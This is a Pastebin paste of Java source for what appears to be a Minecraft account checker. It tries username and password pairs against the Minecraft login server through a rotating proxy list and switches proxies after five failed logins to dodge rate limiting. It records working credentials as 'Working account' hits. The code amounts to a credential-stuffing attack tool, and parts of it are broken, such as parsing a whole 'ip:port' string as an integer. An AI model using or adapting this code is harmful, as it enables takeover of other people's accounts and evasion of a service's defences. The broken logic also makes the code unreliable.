Advertisement
Guest User

Untitled

a guest
Sep 9th, 2013
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.10 KB | None | 0 0
  1. package com.gmail.clonemobro.mcsaturn;
  2.  
  3. import java.io.BufferedReader;
  4. import java.io.InputStream;
  5. import java.io.InputStreamReader;
  6. import java.net.InetSocketAddress;
  7. import java.net.Proxy;
  8. import java.net.URL;
  9.  
  10. public class Connection2 {
  11.  
  12.         private static int badlogins=0;
  13.         private static int x=0;
  14.  
  15.         static String getLoginResponse(String username, String password){
  16.             final StringBuilder response = new StringBuilder();
  17.             URL url = null;
  18.             InputStream connection = null;
  19.             final String unformattedUrl = "http://login.minecraft.net/?user=%s&password=%s&version=15";
  20.             final String formattedURL = String.format(unformattedUrl,username, password);
  21.            
  22.             String proxyString = Action.proxies.get(x);
  23.             String[] pxSplit = proxyString.split(":");
  24.             @SuppressWarnings("unused")
  25.             String port = pxSplit[1];
  26.             @SuppressWarnings("unused")
  27.             String ip = pxSplit[0];
  28.            
  29.            
  30.             Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(Integer.parseInt(proxyString)));
  31.            
  32.            
  33.             try{
  34.             url = new URL(formattedURL);
  35.            
  36.             connection = url.openConnection(proxy).getInputStream();
  37.            
  38.             BufferedReader br = new BufferedReader(new InputStreamReader(
  39.             connection));
  40.             String line = br.readLine();
  41.             while(line !=null){
  42.             response.append(line.replace("<br/>","\n").replace("<p>", "\n"));
  43.             line = br.readLine();
  44.             }
  45.             connection.close();
  46.             } catch(final Exception e) {
  47.             e.printStackTrace();
  48.             }
  49.            
  50.             if(response.toString().equals("Bad login")){
  51.                 badlogins+=1;
  52.                 String accombine = username+":"+password;
  53.                 if(badlogins==5){
  54.                     x+=1;
  55.                 after5badlogins(Action.proxies.get(x));
  56.                 }
  57.                 return "Bad login "+accombine;
  58.                
  59.             }
  60.             if(!(response.toString().equals("Bad login"))){
  61.                 String accombine = username+":"+password;
  62.                 Window.appendLogs("Working account "+accombine);
  63.                 return "Working account "+accombine;
  64.                
  65.             }
  66.             return null;
  67.                
  68.         }
  69.  
  70.         private static void after5badlogins(String proxy) {
  71.             x+=1;
  72.             System.out.println("FAILED LOGINS 5 times - SWITCHING PROXIES!");
  73.             proxy = Action.proxies.get(x);
  74.            
  75.         }
  76.  
  77.  
  78.  
  79.  
  80.  
  81.  
  82.  
  83.        
  84. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement